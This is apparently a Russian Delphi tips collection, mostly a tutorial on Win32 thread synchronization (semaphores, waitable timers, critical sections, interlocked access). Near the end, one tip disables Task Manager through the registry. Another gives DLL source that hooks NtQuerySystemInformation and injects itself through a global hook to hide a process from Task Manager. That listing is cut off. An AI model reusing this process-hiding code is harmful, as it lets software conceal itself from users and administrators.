  bInheritHandle: BOOL;    // Задает, может ли объект наследоваться
                           // дочерними процессами
  lpName: PChar            // Имя объекта
): THandle; stdcall;

Параметр dwDesiredAccess может принимать одно из следующих значений:
SEMAPHORE_ALL_ACCESS Поток получает все права на семафор
SEMAPHORE_MODIFY_STATE Поток может увеличивать счетчик семафора функцией ReleaseSemaphore
SYNCHRONIZE Только Windows NT – поток может использовать семафор в функциях ожидания
Для увеличения счетчика семафора используется функция:

function ReleaseSemaphore(
  hSemaphore: THandle;      // Идентификатор семафора
  lReleaseCount: Longint;   // Счетчик будет увеличен на эту величину
  lpPreviousCount: Pointer  // Адрес 32-битной переменной,
                            // принимающей предыдущее значение
                            // счетчика
): BOOL; stdcall;

Если значение счетчика после выполнения функции превысит заданный для него функцией CreateSemaphore максимум, то ReleaseSemaphore возвращает FALSE и значение семафора не изменяется. В качестве параметра lpPreviousCount можно передать NIL, если это значение нам не нужно.
Рассмотрим пример приложения, запускающего на выполнение несколько заданий в отдельных потоках (например, программа для фоновой загрузки файлов из Internet). Если количество одновременно выполняющихся заданий будет слишком велико, то это приведет к неоправданной загрузке канала. Поэтому реализуем потоки, в которых будет выполняться задание таким образом, чтобы при превышении их количества заранее заданной величины поток останавливался и ожидал завершения работы ранее запущенных заданий.

unit LimitedThread;

interface

uses Classes;

type
  TLimitedThread = class(TThread)
    procedure Execute; override;
  end;

implementation

uses Windows;

const
  MAX_THREAD_COUNT = 10;

var
  Semaphore: THandle;

procedure TLimitedThread.Execute;
begin
  // Уменьшаем счетчик семафора. Если к этому моменту уже запущено
  // MAX_THREAD_COUNT потоков – счетчик равен 0 и семафор в
  // несигнальном состоянии. Поток будет заморожен до завершения
  // одного из запущенных ранее.
  WaitForSingleObject(Semaphore, INFINITE);

  // Здесь располагается код, отвечающий за функциональность потока,
  // например загрузка файла
  ...

  // Поток завершил работу, увеличиваем счетчик семафора и позволяем
  // начать обработку другим потокам.
  ReleaseSemaphore(Semaphore, 1, NIL);
end;

initialization
  // Создаем семафор при старте программы
  Semaphore := CreateSemaphore(NIL, MAX_THREAD_COUNT,
    MAX_THREAD_COUNT, NIL);

finalization
  // Уничтожаем семафор по завершении программы
  CloseHandle(Semaphore);
end;

Waitable timer (таймер ожидания)
Таймер ожидания отсутствует в Windows 95 и для его использования необходима Windows 98 или Windows NT 4.0 и выше.
Таймер ожидания переходит в сигнальное состояние по завершении заданного интервала времени. Для его создания используется функция:
function CreateWaitableTimer(
  lpTimerAttributes: PSecurityAttributes;     // Адрес структуры
                                              // TSecurityAttributes
  bManualReset: BOOL;  // Задает, будет ли таймер переходить в
                       // сигнальное состояние по завершении функции
                       // ожидания
  lpTimerName: PChar   // Имя объекта
): THandle; stdcall;

Если параметр bManualReset равен TRUE, то таймер после срабатывания функции ожидания остается в сигнальном состоянии до явного вызова SetWaitableTimer, если FALSE - таймер автоматически переходит в несигнальное состояние.
Если lpTimerName совпадает с именем уже существующего в системе таймера – функция возвращает его идентификатор, позволяя использовать объект для синхронизации между процессами. Имя таймера не должно совпадать с именем уже существующих объектов типов event, semaphore, mutex, job или file-mapping.
Идентификатор уже существующего таймера можно получить функцией:

function OpenWaitableTimer(
  dwDesiredAccess: DWORD;  // Задает права доступа к объекту
  bInheritHandle: BOOL;    // Задает, может ли объект наследоваться
                           // дочерними процессами
  lpTimerName: PChar       // Имя объекта
): THandle; stdcall;

Параметр dwDesiredAccess может принимать следующие значения:
TIMER_ALL_ACCESS Разрешает полный доступ к объекту
TIMER_MODIFY_STATE Разрешает изменять состояние таймера функциями SetWaitableTimer и CancelWaitableTimer
SYNCHRONIZE Только Windows NT – разрешает использовать таймер в функциях ожидания
После получения идентификатора таймера, поток может задать время его срабатывания функцией

function SetWaitableTimer(
  hTimer: THandle;                  // Идентификатор таймера
  const lpDueTime: TLargeInteger;   // Время срабатывания
  lPeriod: Longint;                 // Период повторения срабатывания
  pfnCompletionRoutine: TFNTimerAPCRoutine;  // Процедура-обработчик
  lpArgToCompletionRoutine: Pointer;// Параметр процедуры-обработчика
  fResume: BOOL                     // Задает, будет ли операционная
                                    // система «пробуждаться»
): BOOL; stdcall;

Рассмотрим параметры подробнее.
lpDueTime
Задает время срабатывания таймера. Время задается в формате TFileTime и базируется на coordinated universal time (UTC), т.е. должно указываться по Гринвичу. Для преобразования системного времени в TFileTime используется функция SystemTimeToFileTime. Если время имеет положительный знак, оно трактуется как абсолютное, если отрицательный – как относительное от момента запуска таймера.
lPeriod
Задает срок между повторными срабатываниями таймера. Если lPeriod равен 0 – таймер сработает один раз.
pfnCompletionRoutine
Адрес функции, объявленной как:

procedure TimerAPCProc(
  lpArgToCompletionRoutine: Pointer;  // данные
  dwTimerLowValue: DWORD;   // младшие 32 разряда значения таймера
  dwTimerHighValue: DWORD;  // старшие 32 разряда значения таймера
); stdcall;

Эта функция вызывается, когда срабатывает таймер, если поток, ожидающий его срабатывания, использует функцию ожидания, поддерживающую асинхронный вызов процедур. В функцию передаются 3 параметра:
· lpArgToCompletionRoutine – значение, переданное в качестве одноименного параметра в функцию SetWaitableTimer. Приложение может использовать его для передачи в процедуру обработки адреса блока данных, необходимых для её работы
· dwTimerLowValue и dwTimerHighValue – соответственно члены dwLowDateTime и dwHighDateTime структуры TFileTime. Они описывают время срабатывания таймера. Время задается в UTC формате (по Гринвичу).
Если дополнительная функция обработки не нужна, в качестве этого параметра можно передать NIL.
lpArgToCompletionRoutine
Это значение передается в функцию pfnCompletionRoutine при её вызове.
fResume
Определяет необходимость "пробуждения" системы, если на момент срабатывания таймера она находится в режиме экономии электроэнергии (suspended). Если операционная система не поддерживает пробуждение и fResume равно TRUE, функция SetWaitableTimer выполнится успешно, однако последующий вызов GetLastError вернет результат ERROR_NOT_SUPPORTED.

Если необходимо перевести таймер в неактивное состояние, это можно сделать функцией:
function CancelWaitableTimer(hTimer: THandle): BOOL; stdcall;
Эта функция не изменяет состояния таймера и не приводит к срабатыванию функций ожидания и вызову процедур-обработчиков.
По завершении работы объект должен быть уничтожен функцией CloseHandle
Создадим класс, который ожидает в отдельном потоке наступления заданного времени, а затем вызывает процедуру главного потока приложения. Такой класс может использоваться, например, в планировщике заданий. Поскольку таймер ожидания позволяет задавать время срабатывания в абсолютных величинах, отпадает необходимость постоянно анализировать текущее время, используя обычный таймер Windows.

unit WaitThread;

interface

uses Classes, Windows;

type
  TWaitThread = class(TThread)
    WaitUntil: TDateTime;
    procedure Execute; override;
  end;

implementation

uses SysUtils;

procedure TWaitThread.Execute;
var
  Timer: THandle;
  SystemTime: TSystemTime;
  FileTime, LocalFileTime: TFileTime;
begin
  Timer := CreateWaitableTimer(NIL, FALSE, NIL);
  try
    DateTimeToSystemTime(WaitUntil, SystemTime);
    SystemTimeToFileTime(SystemTime, LocalFileTime);
    LocalFileTimeToFileTime(LocalFileTime, FileTime);
    SetWaitableTimer(Timer, TLargeInteger(FileTime), 0,
      NIL, NIL, FALSE);
    WaitForSingleObject(Timer, INFINITE);
  finally
    CloseHandle(Timer);
  end;
end;

end.
Использовать этот класс можно, например, следующим образом:
type
  TForm1 = class(TForm)
    Button1: TButton;
    procedure Button1Click(Sender: TObject);
  private
    procedure TimerFired(Sender: TObject);
  end;

...

implementation

uses WaitThread;

procedure TForm1.Button1Click(Sender: TObject);
var
  T: TDateTime;
begin
  with TWaitThread.Create(TRUE) do
  begin
    OnTerminate := TimerFired;
    FreeOnTerminate := TRUE;
    // Срок ожидания закончится через 5 секунд
    WaitUntil := Now + 1 / 24 / 60 / 60 * 5;
    Resume;
  end;
end;

procedure TForm1.TimerFired(Sender: TObject);
begin
  ShowMessage('Timer fired !');
end;

Дополнительные объекты синхронизации
Некоторые объекты Win32 API не предназначены исключительно для целей синхронизации, однако могут использоваться с функциями синхронизации. Такими объектами являются:
Сообщение об изменении папки (change notification)
Windows позволяет организовать слежение за изменениями объектов файловой системы. Для этого служит функция

function FindFirstChangeNotification(
  lpPathName: PChar;     // Путь к папке, изменения в которой нас
                         // интересуют
  bWatchSubtree: BOOL;   // Задает необходимость слежения за
                         // изменениями во вложенных папках
  dwNotifyFilter: DWORD  // Фильтр событий
): THandle; stdcall;

Параметр dwNotifyFilter – это битовая маска из одного или нескольких следующих значений:
FILE_NOTIFY_CHANGE_FILE_NAME
Слежение ведется за любым изменением имени файла, в т.ч. созданием и удалением файлов
FILE_NOTIFY_CHANGE_DIR_NAME
Слежение ведется за любым изменением имени папки, в т.ч. созданием и удалением папок
FILE_NOTIFY_CHANGE_ATTRIBUTES
Слежение ведется за любым изменением аттрибутов
FILE_NOTIFY_CHANGE_SIZE
Слежение ведется за изменением размера файлов. Изменение размера происходит при записи в файл. Функция ожидания срабатывает только после успешного сброса дискового кэша
FILE_NOTIFY_CHANGE_LAST_WRITE
Слежение за изменением времени последней записи в файл, т.е., фактически, за любой записью в файл. Функция ожидания срабатывает только после успешного сброса дискового кэша.
FILE_NOTIFY_CHANGE_SECURITY
Слежение за любыми изменениями дескрипторов защиты
Идентификатор, возвращенный этой функцией, может использоваться в любой функции ожидания. Он переходит в сигнальное состояние, когда в папке происходят запрошенные для слежения изменения. Продолжить слежение можно, используя функцию:
function FindNextChangeNotification(
  hChangeHandle: THandle
): BOOL; stdcall;
По завершении работы, идентификатор должен быть закрыт при помощи функции:
function FindCloseChangeNotification(
  hChangeHandle: THandle
): BOOL; stdcall;
Чтобы не блокировать исполнение основного потока программы функцией ожидания, удобно реализовать ожидание изменений в отдельном потоке. Реализуем поток на базе класса TThread. Для того чтобы можно было прервать исполнение потока методом Terminate необходимо, чтобы функция ожидания, реализованная в методе Execute, также прерывалась при вызове Terminate. Для этого будем использовать вместо WaitForSingleObject функцию WaitForMultipleObjects, и прерывать ожидание по событию (event), устанавливаемому в Terminate.

type
  TCheckFolder = class(TThread)
  private
    FOnChange: TNotifyEvent;
    Handles: array[0..1] of THandle;  // Идентификаторы объектов
                                      // синхронизации
    procedure DoOnChange;
  protected
    procedure Execute; override;
  public
    constructor Create(CreateSuspended: Boolean;
      PathToMonitor: String; WaitSubTree: Boolean;
      OnChange: TNotifyEvent; NotifyFilter: DWORD);
    destructor Destroy; override;
    procedure Terminate;
  end;

procedure TCheckFolder.DoOnChange;
// Эта процедура вызывается в контексте главного потока приложения
// В ней можно использовать вызовы VCL, изменять состояние формы,
// например перечитать содержимое TListBox, отображающего файлы
begin
  if Assigned(FOnChange) then
    FOnChange(Self);
end;

procedure TCheckFolder.Terminate;
begin
  inherited; // Вызываем TThread.Terminate, устанавливаем
             // Terminated = TRUE
  SetEvent(Handles[1]);  // Сигнализируем о необходимости
                         // прервать ожидание
end;

constructor TCheckFolder.Create(CreateSuspended: Boolean;
      PathToMonitor: String; WaitSubTree: Boolean;
      OnChange: TNotifyEvent; NotifyFilter: DWORD);
var
  BoolForWin95: Integer;
begin
  // Создаем поток остановленным
  inherited Create(TRUE);
  // Windows 95 содержит не очень корректную реализацию функции
  // FindFirstChangeNotification. Для корректной работы, необходимо,
  // чтобы:
  // - lpPathName - не содержал завершающего слэша "\" для
  //                некорневого каталога
  // - bWatchSubtree - TRUE должен передаваться как BOOL(1)
  if WaitSubTree then
    BoolForWin95 := 1
  else
    BoolForWin95 := 0;
  if (Length(PathToMonitor) > 1) and
     (PathToMonitor[Length(PathToMonitor)] = '\') and
     (PathToMonitor[Length(PathToMonitor)-1] <> ':') then
     Delete(PathToMonitor, Length(PathToMonitor), 1);
  Handles[0] := FindFirstChangeNotification(
    PChar(PathToMonitor), BOOL(BoolForWin95), NotifyFilter);
  Handles[1] := CreateEvent(NIL, TRUE, FALSE, NIL);
  FOnChange := OnChange;
  // И, при необходимости, запускаем
  if not CreateSuspended then
    Resume;
end;

destructor TCheckFolder.Destroy;
begin
  FindCloseChangeNotification(Handles[0]);
  CloseHandle(Handles[1]);
  inherited;
end;

procedure TCheckFolder.Execute;
var
  Reason: Integer;
  Dummy: Integer;
begin
  repeat
    // Ожидаем изменения в папке, либо сигнала о завершении
    // потока
    Reason := WaitForMultipleObjects(2, @Handles, FALSE, INFINITE);
    if Reason = WAIT_OBJECT_0 then begin
      // Изменилась папка, вызываем обработчик в контексте
      // главного потока приложения
      Synchronize(DoOnChange);
      // И продолжаем поиск
      FindNextChangeNotification(Handles[0]);
    end;
  until Terminated;
end;

Поскольку метод TThread.Terminate не виртуальный, этот класс нельзя использовать с переменной типа TThread, т.к. в этом случае будет вызываться Terminate от TThread, который не может прервать ожидания, и поток будет выполняться до изменения в папке, за которой ведется слежение.
Устройство стандартного ввода с консоли (console input)
Идентификатор, стандартного устройства ввода с консоли, полученный при помощи вызова функции GetStdHandle(STD_INPUT_HANDLE), можно использовать в функциях ожидания. Он находится в сигнальном состоянии, если очередь ввода консоли непустая и в несигнальном, если пустая. Это позволяет организовать ожидание ввода символов, либо, при помощи функции WaitForMultipleObjects совместить его с ожиданием каких-то других событий.
Задание (Job)
Job – это новый механизм Windows 2000, позволяющий объединить группу процессов в одно задание и манипулировать ими одновременно. Идентификатор задания находится в сигнальном состоянии, если все процессы, ассоциированные с ним завершились по причине истечения лимита времени на выполнение задания.
Процесс (Process)
Идентификатор процесса, полученный при помощи функции CreateProcess, переходит в сигнальное состояние по завершении процесса. Это позволяет организовать ожидание завершения процесса, например, при запуске из приложения внешней программы.

var
  PI: TProcessInformation;
  SI: TStartupInfo;

...

  FillChar(SI, SizeOf(SI), 0);
  SI.cb := SizeOf(SI);
  Win32Check(CreateProcess(NIL, 'COMMAND.COM', NIL,
    NIL, FALSE, 0, NIL, NIL, SI, PI));
  // Задерживаем исполнение программы до завершения процесса
  WaitForSingleObject(PI.hProcess, INFINITE);
  CloseHandle(PI.hProcess);
  CloseHandle(PI.hThread);

Следует понимать, что в этом случае вызывающий процесс будет заморожен полностью и не сможет обрабатывать сообщения. Поэтому, если дочерний процесс может выполняться в течение длительного времени, лучше использовать более корректный вариант ожидания, описанный в разделе, посвященном функции MsgWaitForMultipleObjects.
Поток (thread)
Идентификатор потока находится в несигнальном состоянии до тех пор, пока поток выполняется. По его завершении идентификатор переходит в сигнальное состояние. Это позволяет легко узнать, завершился ли поток, либо при помощи функции, ожидающей нескольких объектов, организовать ожидание завершения одного из, либо всех интересующих потоков.

Дополнительные механизмы синхронизации
Критические секции
Критические секции – это механизм, предназначенный для синхронизации потоков внутри одного процесса. Как и мутекс, критическая секция может в один момент времени принадлежать только одному потоку, однако, она предоставляет более быстрый и эффективный механизм, чем мутексы. Перед использованием критической секции необходимо инициализировать её функцией:

procedure InitializeCriticalSection(
  var lpCriticalSection: TRTLCriticalSection
); stdcall;

После создания объекта поток, перед доступом к защищаемому ресурсу должен вызвать функцию:

procedure EnterCriticalSection(
  var lpCriticalSection: TRTLCriticalSection
); stdcall;

Если в этот момент ни один из потоков в процессе не владеет объектом, то поток становится владельцем критической секции и продолжает выполнение. Если секция уже захвачена другим потоком то выполнение потока, вызвавшего функцию приостанавливается до её освобождения.
Поток, владеющий критической секцией, может повторно вызывать функцию EnterCriticalSection без блокирования своего исполнения. По завершению работы с защищаемым ресурсом поток должен вызвать функцию:

procedure LeaveCriticalSection(
  var lpCriticalSection: TRTLCriticalSection
); stdcall;

Эта функция освобождает объект независимо от количества предыдущих вызовов потоком функции EnterCriticalSection. Если имеются другие потоки, ожидающие освобождения секции, один из них становится её владельцем и продолжает исполнение. Если поток завершился, не освободив критическую секцию, её состояние становится неопределенным, что может вызвать блокировку работы программы.
Имеется возможность попытаться захватить объект без замораживания потока. Для этого служит функция:

function TryEnterCriticalSection(
  var lpCriticalSection: TRTLCriticalSection
): BOOL; stdcall;

Она проверяет, захвачена секция ли в момент её вызова. Если да – функция возвращает FALSE, в противном случае – захватывает секцию и возвращает TRUE.
По завершении работы с критической секцией, она должна быть уничтожена вызовом функции:

procedure DeleteCriticalSection(
  var lpCriticalSection: TRTLCriticalSection
); stdcall;

Рассмотрим пример приложения, осуществляющего в нескольких потоках загрузку данных по сети. Глобальные переменные BytesSummary и TimeSummary хранят общее количество загруженных байт и время загрузки. Эти переменные каждый поток обновляет по мере считывания данных. Для предотвращения конфликтов приложение должно защитить общий ресурс при помощи критической секции.

var
  // Глобальные переменные
  CriticalSection: TRTLCriticalSection;
  BytesSummary: Cardinal;
  TimeSummary: TDateTime;
  AverageSpeed: Float;

...

// При инициализации приложения
InitializeCriticalSection(CriticalSection);
BytesSummary := 0;
TimeSummary := 0;
AverageSpeed := 0;

//В методе Execute потока, загружающего данные.
repeat
  BytesRead := ReadDataBlockFromNetwork;
  EnterCriticalSection(CriticalSection);
  try
    BytesSummary := BytesSummary + BytesRead;
    TimeSummary := TimeSummary + (Now - ThreadStartTime);
    if TimeSummary > 0 then
      AverageSpeed := BytesSummary / (TimeSummary/24/60/60);
  finally
    LeaveCriticalSection(CriticalSection)
  end;
until LoadComplete;

// При завершении приложения
DeleteCriticalSection(CriticalSection);

Delphi предоставляет класс, инкапсулирующий функциональность критической секции. Класс объявлен в модуле SyncObjs.pas

type
  TCriticalSection = class(TSynchroObject)
  public
    constructor Create;
    destructor Destroy; override;
    procedure Acquire; override;
    procedure Release; override;
    procedure Enter;
    procedure Leave;
  end;

Методы Enter и Leave являются синонимами методов Acquire и Release соответственно и добавлены для лучшей читаемости исходного кода.

procedure TCriticalSection.Enter;
begin
  Acquire;
end;

procedure TCriticalSection.Leave;
begin
  Release;
end;

Защищенный доступ к переменным (Interlocked Variable Access)
Часто возникает необходимость совершения операций над разделяемыми между потоками 32-разрядными переменными. Для упрощения решения этой задачи WinAPI предоставляет функции для защищенного доступа к ним, не требующие использования дополнительных (и более сложных) механизмов синхронизации. Переменные, используемые в этих функциях, должны быть выровнены на границу 32-разрядного слова. Применительно к Delphi это означает, что если переменная объявлена внутри записи (record), то эта запись не должна быть упакованной (packed) и при её объявлении должна быть активна директива компилятора {$A+}. Несоблюдение этого требования может привести к возникновению ошибок на многопроцессорных конфигурациях.

type
  TPackedRecord = packed record
    A: Byte;
    B: Integer;
  end;
// TPackedRecord.B нельзя использовать в функциях InterlockedXXX

  TNotPackedRecord = record
    A: Byte;
    B: Integer;
  end;

{$A-}
var
  A1: TNotPackedRecord;
// A1.B нельзя использовать в функциях InterlockedXXX
  I: Integer
// I можно использовать в функциях InterlockedXXX, т.к. переменные в
// Delphi всегда выравниваются на границу слова безотносительно
// к состоянию директивы компилятора $A

{$A+}
var
  A2: TNotPackedRecord;
// A2.B можно использовать в функциях InterlockedXXX

function InterlockedIncrement(
  var Addend: Integer
): Integer; stdcall;

Функция увеличивает переменную Addend на 1. Возвращаемое значение зависит от операционной системы:
Windows 98, Windows NT 4.0 и старше
Возвращается новое значение переменной Addend
Windows 95, Windows NT 3.51
Если после изменения Addend < 0 возвращается отрицательное число, не обязательно равное Addend Если Addend = 0 – возвращается 0 Если после изменения Addend > 0 возвращается положительное число, не обязательно равное Addend.

function InterlockedDecrement(
  var Addend: Integer
): Integer; stdcall;

Функция уменьшает переменную Addend на 1. Возвращаемое значение аналогично функции InterlockedIncrement.

function InterlockedExchange(
  var Target: Integer;
  Value: Integer
): Integer; stdcall;

Функция записывает в переменную Target значение Value и возвращает предыдущее значение Target
Следующие функции для выполнения требуют Windows 98 или Windows NT 4.0 и старше.

function InterlockedCompareExchange(
  var Destination: Pointer;
  Exchange: Pointer;
  Comperand: Pointer
): Pointer; stdcall;

Функция сравнивает значения Destination и Comperand. Если они совпадают, значение Exchange записывается в Destination. Функция возвращает начальное значение Destination.

function InterlockedExchangeAdd(
  Addend: PLongint;
  Value: Longint
): Longint; stdcall;

Функция добавляет к переменной, на которую указывает Addend значение Value и возвращает начальное значение Addend.
Резюме
Многозадачная и многопоточная среда Win32 предоставляет широкие возможности для написания высокоэффективных приложений. Однако, написание приложений, использующих многопоточность и взаимодействующих друг с другом, при неаккуратном программировании может привести к их неверной работе, неоправданной загрузке и даже блокировке всей системы. Во избежание этого следуйте нижеприведенным рекомендациям:
· Если приложения или потоки одного процесса изменяют общий ресурс – защищайте доступ к нему при помощи критических секций или мутексов.
· Если доступ осуществляется только на чтение – защищать ресурс не обязательно.
· Критические секции более эффективны, но применимы только внутри одного процесса, мутексы могут использоваться для синхронизации между процессами.
· Используйте семафоры для ограничения количества обращений к одному ресурсу.
· Используйте события (event) для информирования потока о наступлении какого-либо события.
· Если разделяемый ресурс – 32-битная переменная – для синхронизации доступа к нему можно использовать функции, обеспечивающие разделяемый доступ к переменным.
· Многие объекты Win32 позволяют организовать эффективное слежение за своим состоянием при помощи функций ожидания. Это наиболее эффективный с точки зрения расхода системных ресурсов метод.
· Если Ваш поток создает (даже неявно, при помощи CoInitialize или функций DDE) окна – он должен обрабатывать сообщения. Не используйте в таком потоке функций не позволяющих прервать ожидание по приходу сообщения с большим или неограниченным периодом ожидания. Используйте функции MsgWaitForXXX

Тенцер А. Л.
ICQ UIN 15925834
tolik@katren.nsk.ru


Поддержка процедур завершения программы

Процедура AddTerminateProc( TermProc: TTerminateProc);
Добавляет процедуру в системный список процедур "завершения программы" (termination procedures list), которые вызываются перед окончанием работы приложения. Каждая такая процедура должна возвращать True, когда приложение может быть беспроблемно завершено или False, если приложение не должно быть завершено. Если любая из указанных процедур возвращает False, то выполнение приложения завершено не будет.

Функция CallTerminateProcs: Boolean;
Функция вызывает все подпрограммы, указанные в списке процедур завершения программы (termination procedures list). Если все процедуры и функции списка возвращают True, то CallTerminateProcs возвращает True, в остальных случаях функция возвращает False. Функция CallTerminateProcs вызывается внутренне непосредственно перед завершением выполнения приложения.
Взято с http://atrussk.ru/delphi/


Как узнать количество памяти используемое процессом?

// Works only on Windows NT systems (WinNT, Win2000, WinXP)
uses psAPI;

procedure TForm1.Button1Click(Sender: TObject);
var
  pmc: PPROCESS_MEMORY_COUNTERS;
  cb: Integer;
begin
  cb := SizeOf(_PROCESS_MEMORY_COUNTERS);
  GetMem(pmc, cb);
  pmc^.cb := cb;
  if GetProcessMemoryInfo(GetCurrentProcess(), pmc, cb) then
    Label1.Caption := IntToStr(pmc^.WorkingSetSize) + ' Bytes'
  else
    Label1.Caption := 'Unable to retrieve memory usage structure';

  FreeMem(pmc);
end;
Взято с сайта http://www.swissdelphicenter.ch/en/tipsindex.php


Disable CTRL+ALT+DELETE under XP

procedure DisableTaskMgr(bTF: Boolean);
var
  reg: TRegistry;
begin
  reg := TRegistry.Create;
  reg.RootKey := HKEY_CURRENT_USER;

  reg.OpenKey('Software', True);
  reg.OpenKey('Microsoft', True);
  reg.OpenKey('Windows', True);
  reg.OpenKey('CurrentVersion', True);
  reg.OpenKey('Policies', True);
  reg.OpenKey('System', True);

  if bTF = True then
  begin
    reg.WriteString('DisableTaskMgr', '1');
  end
  else if bTF = False then
  begin
    reg.DeleteValue('DisableTaskMgr');
  end;
  reg.CloseKey;
end;

// Example Call:
procedure TForm1.Button1Click(Sender: TObject);
begin
  DisableTaskMgr(True);
end;

Взято с сайта http://www.swissdelphicenter.ch/en/tipsindex.php


Как определить насколько долго система находится в Idle?

function LastInput: DWord;
var
  LInput: TLastInputInfo;
begin
  LInput.cbSize := SizeOf(TLastInputInfo);
  GetLastInputInfo(LInput);
  Result := GetTickCount - LInput.dwTime;
end;

//Example:
procedure TForm1.Timer1Timer(Sender: TObject);
begin
  Label1.Caption := Format('System Idle since %d ms', [LastInput]);
end;

// The GetLastInputInfo function retrieves the time
// of the last input event.
// Minimum operating systems: Windows 2000

Взято с сайта http://www.swissdelphicenter.ch/en/tipsindex.php


Как спрятать программу от TaskManager в WindowsXP и 2000

Этот вопрос меня уже достал, он задаётся на всех программистских форумах, поэтому я выкладываю solution. Листинг библиотеки (nthide.dll), которая будет выполнять нужную нам функцию:

library hide;

uses
 Windows,
 SysUtils,
 ImageHlp,
 TlHelp32;

type SYSTEM_INFORMATION_CLASS = (
 SystemBasicInformation,
 SystemProcessorInformation,
 SystemPerformanceInformation,
 SystemTimeOfDayInformation,
 SystemNotImplemented1,
 SystemProcessesAndThreadsInformation,
 SystemCallCounts,
 SystemConfigurationInformation,
 SystemProcessorTimes,
 SystemGlobalFlag,
 SystemNotImplemented2,
 SystemModuleInformation,
 SystemLockInformation,
 SystemNotImplemented3,
 SystemNotImplemented4,
 SystemNotImplemented5,
 SystemHandleInformation,
 SystemObjectInformation,
 SystemPagefileInformation,
 SystemInstructionEmulationCounts,
 SystemInvalidInfoClass1,
 SystemCacheInformation,
 SystemPoolTagInformation,
 SystemProcessorStatistics,
 SystemDpcInformation,
 SystemNotImplemented6,
 SystemLoadImage,
 SystemUnloadImage,
 SystemTimeAdjustment,
 SystemNotImplemented7,
 SystemNotImplemented8,
 SystemNotImplemented9,
 SystemCrashDumpInformation,
 SystemExceptionInformation,
 SystemCrashDumpStateInformation,
 SystemKernelDebuggerInformation,
 SystemContextSwitchInformation,
 SystemRegistryQuotaInformation,
 SystemLoadAndCallImage,
 SystemPrioritySeparation,
 SystemNotImplemented10,
 SystemNotImplemented11,
 SystemInvalidInfoClass2,
 SystemInvalidInfoClass3,
 SystemTimeZoneInformation,
 SystemLookasideInformation,
 SystemSetTimeSlipEvent,
 SystemCreateSession,
 SystemDeleteSession,
 SystemInvalidInfoClass4,
 SystemRangeStartInformation,
 SystemVerifierInformation,
 SystemAddVerifier,
 SystemSessionProcessesInformation
);

_IMAGE_IMPORT_DESCRIPTOR = packed record
  case Integer of
   0:(
    Characteristics: DWORD);
   1:(
    OriginalFirstThunk:DWORD;
    TimeDateStamp:DWORD;
    ForwarderChain: DWORD;
    Name: DWORD;
    FirstThunk: DWORD);
   end;
IMAGE_IMPORT_DESCRIPTOR=_IMAGE_IMPORT_DESCRIPTOR;
PIMAGE_IMPORT_DESCRIPTOR=^IMAGE_IMPORT_DESCRIPTOR;

PFARPROC=^FARPROC;

procedure ReplaceIATEntryInOneMod(pszCallerModName: Pchar; pfnCurrent: FarProc; pfnNew: FARPROC; hmodCaller: hModule);
var     ulSize: ULONG;
   pImportDesc: PIMAGE_IMPORT_DESCRIPTOR;
    pszModName: PChar;
        pThunk: PDWORD; ppfn:PFARPROC;
        ffound: LongBool;
       written: DWORD;
begin
 pImportDesc:= ImageDirectoryEntryToData(Pointer(hmodCaller), TRUE,IMAGE_DIRECTORY_ENTRY_IMPORT, ulSize);
  if pImportDesc = nil then exit;
  while pImportDesc.Name<>0 do
   begin
    pszModName := PChar(hmodCaller + pImportDesc.Name);
     if (lstrcmpiA(pszModName, pszCallerModName) = 0) then break;
    Inc(pImportDesc);
   end;
  if (pImportDesc.Name = 0) then exit;
 pThunk := PDWORD(hmodCaller + pImportDesc.FirstThunk);
  while pThunk^<>0 do
   begin
    ppfn := PFARPROC(pThunk);
    fFound := (ppfn^ = pfnCurrent);
     if (fFound) then
      begin
       VirtualProtectEx(GetCurrentProcess,ppfn,4,PAGE_EXECUTE_READWRITE,written);
       WriteProcessMemory(GetCurrentProcess, ppfn, @pfnNew, sizeof(pfnNew), Written);
       exit;
      end;
    Inc(pThunk);
   end;
end;

var
 addr_NtQuerySystemInformation: Pointer;
 mypid: DWORD;
 fname: PCHAR;
 mapaddr: PDWORD;
 hideOnlyTaskMan: PBOOL;

function myNtQuerySystemInfo(SystemInformationClass: SYSTEM_INFORMATION_CLASS; SystemInformation: Pointer;
 SystemInformationLength:ULONG; ReturnLength:PULONG):LongInt; stdcall;
label onceagain, getnextpidstruct, quit, fillzero;
asm
 push ReturnLength
 push SystemInformationLength
 push SystemInformation
 push dword ptr SystemInformationClass
 call dword ptr [addr_NtQuerySystemInformation]
 or eax,eax
 jl quit
 cmp SystemInformationClass, SystemProcessesAndThreadsInformation
 jne quit

 onceagain:
 mov esi, SystemInformation

 getnextpidstruct:
 mov ebx, esi
 cmp dword ptr [esi],0
 je quit
 add esi, [esi]
 mov ecx, [esi+44h]
 cmp ecx, mypid
 jne getnextpidstruct
 mov edx, [esi]
 test edx, edx
 je fillzero
 add [ebx], edx
 jmp onceagain

 fillzero:
 and [ebx], edx
 jmp onceagain

 quit:
 mov Result, eax
end

procedure InterceptFunctions;
var hSnapShot: THandle;
         me32: MODULEENTRY32;
begin
 addr_NtQuerySystemInformation:=GetProcAddress(getModuleHandle('ntdll.dll'),'NtQuerySystemInformation');
 hSnapShot:=CreateToolHelp32SnapShot(TH32CS_SNAPMODULE,GetCurrentProcessId);
  if hSnapshot=INVALID_HANDLE_VALUE then exit;
   try
    ZeroMemory(@me32,sizeof(MODULEENTRY32));
    me32.dwSize:=sizeof(MODULEENTRY32);
    Module32First(hSnapShot,me32);
     repeat
      ReplaceIATEntryInOneMod('ntdll.dll',addr_NtQuerySystemInformation,@MyNtQuerySystemInfo,me32.hModule);
     until not Module32Next(hSnapShot,me32);
   finally
    CloseHandle(hSnapShot);
   end;
end;

procedure UninterceptFunctions;
var hSnapShot: THandle;
         me32: MODULEENTRY32;
begin
 addr_NtQuerySystemInformation:=GetProcAddress(getModuleHandle('ntdll.dll'),'NtQuerySystemInformation');
 hSnapShot:=CreateToolHelp32SnapShot(TH32CS_SNAPMODULE,GetCurrentProcessId);
  if hSnapshot=INVALID_HANDLE_VALUE then exit;
  try
   ZeroMemory(@me32,sizeof(MODULEENTRY32));
   me32.dwSize:=sizeof(MODULEENTRY32);
   Module32First(hSnapShot,me32);
    repeat
     ReplaceIATEntryInOneMod('ntdll.dll',@MyNtQuerySystemInfo,addr_NtQuerySystemInformation,me32.hModule);
    until not Module32Next(hSnapShot,me32);
  finally
   CloseHandle(hSnapShot);
  end;
end;

var HookHandle: THandle;

function CbtProc(code: integer; wparam: integer; lparam: integer):Integer; stdcall;
begin
 Result:=0;
end;

procedure InstallHook; stdcall;
begin
 HookHandle:=SetWindowsHookEx(WH_CBT, @CbtProc, HInstance, 0);
end;

var hFirstMapHandle:THandle;

